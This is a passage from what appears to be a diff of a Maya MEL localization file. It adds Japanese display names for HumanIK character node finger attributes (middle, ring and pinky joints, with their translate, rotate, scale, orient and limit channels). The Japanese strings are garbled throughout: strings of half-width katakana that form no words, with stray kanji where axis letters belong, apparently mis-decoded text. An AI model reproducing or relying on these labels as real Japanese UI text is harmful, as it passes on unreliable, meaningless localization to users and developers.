"HIKCharacterNode", "LeftHandMiddle4RotateAxisx", "ラハヨヨミヨク 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4RotateAxisy", "ラハヨヨミヨク 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4RotateAxisz", "ラハヨヨミヨク 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4JointOrient", "ラハヨヨミヨク 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4JointOrientx", "ラハヨヨミヨク 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4JointOrienty", "ラハヨヨミヨク 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4JointOrientz", "ラハヨヨミヨク 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MinRLimit", "ラハヨヨミヨク 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MinRLimitx", "ラハヨヨミヨク 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MinRLimity", "ラハヨヨミヨク 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MinRLimitz", "ラハヨヨミヨク 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MaxRLimit", "ラハヨヨミヨク 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MaxRLimitx", "ラハヨヨミヨク 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MaxRLimity", "ラハヨヨミヨク 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MaxRLimitz", "ラハヨヨミヨク 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MinRLimitEnablex", "ニモテラハヨヨミヨク 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MinRLimitEnabley", "ニモテラハヨヨミヨク 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MinRLimitEnablez", "ニモテラハヨヨミヨク 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MaxRLimitEnablex", "ニモテラハヨヨミヨク 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MaxRLimitEnabley", "ニモテラハヨヨミヨク 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle4MaxRLimitEnablez", "ニモテラハヨヨミヨク 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1", "ラハヨボテヨク 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1T", "ラハヨボテヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1Tx", "ラハヨボテヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1Ty", "ラハヨボテヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1Tz", "ラハヨボテヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1R", "ラハヨボテヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1Rx", "ラハヨボテヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1Ry", "ラハヨボテヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1Rz", "ラハヨボテヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1S", "ラハヨボテヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1Sx", "ラハヨボテヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1Sy", "ラハヨボテヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1Sz", "ラハヨボテヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1RotateOrder", "ラハヨボテヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1RotateAxis", "ラハヨボテヨク 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1RotateAxisx", "ラハヨボテヨク 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1RotateAxisy", "ラハヨボテヨク 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1RotateAxisz", "ラハヨボテヨク 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1JointOrient", "ラハヨボテヨク 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1JointOrientx", "ラハヨボテヨク 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1JointOrienty", "ラハヨボテヨク 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1JointOrientz", "ラハヨボテヨク 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MinRLimit", "ラハヨボテヨク 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MinRLimitx", "ラハヨボテヨク 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MinRLimity", "ラハヨボテヨク 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MinRLimitz", "ラハヨボテヨク 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MaxRLimit", "ラハヨボテヨク 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MaxRLimitx", "ラハヨボテヨク 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MaxRLimity", "ラハヨボテヨク 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MaxRLimitz", "ラハヨボテヨク 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MinRLimitEnablex", "ニモテラハヨボテヨク 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MinRLimitEnabley", "ニモテラハヨボテヨク 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MinRLimitEnablez", "ニモテラハヨボテヨク 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MaxRLimitEnablex", "ニモテラハヨボテヨク 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MaxRLimitEnabley", "ニモテラハヨボテヨク 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing1MaxRLimitEnablez", "ニモテラハヨボテヨク 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2", "ラハヨボテヨク 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2T", "ラハヨボテヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2Tx", "ラハヨボテヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2Ty", "ラハヨボテヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2Tz", "ラハヨボテヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2R", "ラハヨボテヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2Rx", "ラハヨボテヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2Ry", "ラハヨボテヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2Rz", "ラハヨボテヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2S", "ラハヨボテヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2Sx", "ラハヨボテヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2Sy", "ラハヨボテヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2Sz", "ラハヨボテヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2RotateOrder", "ラハヨボテヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2RotateAxis", "ラハヨボテヨク 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2RotateAxisx", "ラハヨボテヨク 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2RotateAxisy", "ラハヨボテヨク 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2RotateAxisz", "ラハヨボテヨク 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2JointOrient", "ラハヨボテヨク 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2JointOrientx", "ラハヨボテヨク 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2JointOrienty", "ラハヨボテヨク 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2JointOrientz", "ラハヨボテヨク 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MinRLimit", "ラハヨボテヨク 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MinRLimitx", "ラハヨボテヨク 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MinRLimity", "ラハヨボテヨク 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MinRLimitz", "ラハヨボテヨク 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MaxRLimit", "ラハヨボテヨク 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MaxRLimitx", "ラハヨボテヨク 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MaxRLimity", "ラハヨボテヨク 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MaxRLimitz", "ラハヨボテヨク 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MinRLimitEnablex", "ニモテラハヨボテヨク 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MinRLimitEnabley", "ニモテラハヨボテヨク 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MinRLimitEnablez", "ニモテラハヨボテヨク 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MaxRLimitEnablex", "ニモテラハヨボテヨク 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MaxRLimitEnabley", "ニモテラハヨボテヨク 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing2MaxRLimitEnablez", "ニモテラハヨボテヨク 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3", "ラハヨボテヨク 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3T", "ラハヨボテヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3Tx", "ラハヨボテヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3Ty", "ラハヨボテヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3Tz", "ラハヨボテヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3R", "ラハヨボテヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3Rx", "ラハヨボテヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3Ry", "ラハヨボテヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3Rz", "ラハヨボテヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3S", "ラハヨボテヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3Sx", "ラハヨボテヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3Sy", "ラハヨボテヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3Sz", "ラハヨボテヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3RotateOrder", "ラハヨボテヨク 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3RotateAxis", "ラハヨボテヨク 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3RotateAxisx", "ラハヨボテヨク 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3RotateAxisy", "ラハヨボテヨク 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3RotateAxisz", "ラハヨボテヨク 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3JointOrient", "ラハヨボテヨク 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3JointOrientx", "ラハヨボテヨク 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3JointOrienty", "ラハヨボテヨク 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3JointOrientz", "ラハヨボテヨク 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MinRLimit", "ラハヨボテヨク 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MinRLimitx", "ラハヨボテヨク 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MinRLimity", "ラハヨボテヨク 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MinRLimitz", "ラハヨボテヨク 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MaxRLimit", "ラハヨボテヨク 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MaxRLimitx", "ラハヨボテヨク 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MaxRLimity", "ラハヨボテヨク 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MaxRLimitz", "ラハヨボテヨク 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MinRLimitEnablex", "ニモテラハヨボテヨク 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MinRLimitEnabley", "ニモテラハヨボテヨク 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MinRLimitEnablez", "ニモテラハヨボテヨク 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MaxRLimitEnablex", "ニモテラハヨボテヨク 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MaxRLimitEnabley", "ニモテラハヨボテヨク 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing3MaxRLimitEnablez", "ニモテラハヨボテヨク 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4", "ラハヨボテヨク 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4T", "ラハヨボテヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4Tx", "ラハヨボテヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4Ty", "ラハヨボテヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4Tz", "ラハヨボテヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4R", "ラハヨボテヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4Rx", "ラハヨボテヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4Ry", "ラハヨボテヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4Rz", "ラハヨボテヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4S", "ラハヨボテヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4Sx", "ラハヨボテヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4Sy", "ラハヨボテヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4Sz", "ラハヨボテヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4RotateOrder", "ラハヨボテヨク 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4RotateAxis", "ラハヨボテヨク 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4RotateAxisx", "ラハヨボテヨク 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4RotateAxisy", "ラハヨボテヨク 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4RotateAxisz", "ラハヨボテヨク 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4JointOrient", "ラハヨボテヨク 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4JointOrientx", "ラハヨボテヨク 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4JointOrienty", "ラハヨボテヨク 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4JointOrientz", "ラハヨボテヨク 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MinRLimit", "ラハヨボテヨク 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MinRLimitx", "ラハヨボテヨク 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MinRLimity", "ラハヨボテヨク 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MinRLimitz", "ラハヨボテヨク 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MaxRLimit", "ラハヨボテヨク 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MaxRLimitx", "ラハヨボテヨク 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MaxRLimity", "ラハヨボテヨク 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MaxRLimitz", "ラハヨボテヨク 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MinRLimitEnablex", "ニモテラハヨボテヨク 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MinRLimitEnabley", "ニモテラハヨボテヨク 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MinRLimitEnablez", "ニモテラハヨボテヨク 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MaxRLimitEnablex", "ニモテラハヨボテヨク 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MaxRLimitEnabley", "ニモテラハヨボテヨク 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRing4MaxRLimitEnablez", "ニモテラハヨボテヨク 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1", "ラハヨミ。ヨク 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1T", "ラハヨミ。ヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1Tx", "ラハヨミ。ヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1Ty", "ラハヨミ。ヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1Tz", "ラハヨミ。ヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1R", "ラハヨミ。ヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1Rx", "ラハヨミ。ヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1Ry", "ラハヨミ。ヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1Rz", "ラハヨミ。ヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1S", "ラハヨミ。ヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1Sx", "ラハヨミ。ヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1Sy", "ラハヨミ。ヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1Sz", "ラハヨミ。ヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1RotateOrder", "ラハヨミ。ヨク 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1RotateAxis", "ラハヨミ。ヨク 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1RotateAxisx", "ラハヨミ。ヨク 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1RotateAxisy", "ラハヨミ。ヨク 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1RotateAxisz", "ラハヨミ。ヨク 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1JointOrient", "ラハヨミ。ヨク 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1JointOrientx", "ラハヨミ。ヨク 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1JointOrienty", "ラハヨミ。ヨク 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1JointOrientz", "ラハヨミ。ヨク 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MinRLimit", "ラハヨミ。ヨク 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MinRLimitx", "ラハヨミ。ヨク 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MinRLimity", "ラハヨミ。ヨク 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MinRLimitz", "ラハヨミ。ヨク 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MaxRLimit", "ラハヨミ。ヨク 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MaxRLimitx", "ラハヨミ。ヨク 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MaxRLimity", "ラハヨミ。ヨク 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MaxRLimitz", "ラハヨミ。ヨク 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MinRLimitEnablex", "ニモテラハヨミ。ヨク 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MinRLimitEnabley", "ニモテラハヨミ。ヨク 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MinRLimitEnablez", "ニモテラハヨミ。ヨク 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MaxRLimitEnablex", "ニモテラハヨミ。ヨク 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MaxRLimitEnabley", "ニモテラハヨミ。ヨク 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky1MaxRLimitEnablez", "ニモテラハヨミ。ヨク 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2", "ラハヨミ。ヨク 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2T", "ラハヨミ。ヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2Tx", "ラハヨミ。ヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2Ty", "ラハヨミ。ヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2Tz", "ラハヨミ。ヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2R", "ラハヨミ。ヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2Rx", "ラハヨミ。ヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2Ry", "ラハヨミ。ヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2Rz", "ラハヨミ。ヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2S", "ラハヨミ。ヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2Sx", "ラハヨミ。ヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2Sy", "ラハヨミ。ヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2Sz", "ラハヨミ。ヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2RotateOrder", "ラハヨミ。ヨク 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2RotateAxis", "ラハヨミ。ヨク 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2RotateAxisx", "ラハヨミ。ヨク 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandPinky2RotateAxisy", 